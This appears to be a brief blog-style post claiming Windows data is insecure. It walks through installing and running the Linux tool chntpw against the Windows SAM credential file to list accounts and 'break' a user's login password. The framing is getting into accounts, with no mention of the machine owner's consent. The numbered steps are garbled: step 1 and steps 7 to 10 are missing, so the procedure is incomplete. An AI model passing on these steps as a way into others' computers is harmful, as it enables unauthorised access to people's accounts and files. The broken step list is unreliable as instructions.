Your data are not at all secure in a windows system.It is very easy to break the login password of windows using a simple command in linux terminal.

do following steps :

2.Run terminal
3.install the command package "chntpw"
4.type the command(need Internet to execute this) : sudo apt-get install chntpw
5.After successful installation of the package,execute following commands
6.cd /media

if u need to break password of a specific user then execute :

11.chntpw -u [username] SAM

> chntpw -l SAM [will list all users]

This method is successful with win-xp,vista,7 from my experience.Loop holes should be there in any man made things.Try to find out those.It will help you to reduce errors up to a limit.
